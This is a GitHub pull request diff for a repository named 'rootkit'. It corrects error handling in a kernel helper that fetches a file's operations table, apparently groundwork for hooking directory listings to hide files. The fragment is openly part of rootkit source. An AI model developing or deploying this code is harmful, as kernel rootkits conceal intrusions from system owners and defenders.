Skip to content
/ rootkit Public
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 7 additions & 4 deletions rootkit.c
Original file line number Diff line number Diff line change
Expand Up @@ -636,17 +636,20 @@ void unprotect(void)

// ========== READDIR ==========


struct file_operations *get_fop(const char *path)
{
struct file *file;
struct file_operations *ret = NULL;

if ((file = filp_open(path, O_RDONLY, 0)) == NULL) {
file = filp_open(path, O_RDONLY, 0);
if (IS_ERR(file)) {
return NULL;
}

struct file_operations *ret = (struct file_operations *) file->f_op;
filp_close(file, 0);
ret = (struct file_operations *) file->f_op;

// Used fput instead of filp_close.
fput(file);

return ret;
}
Expand Down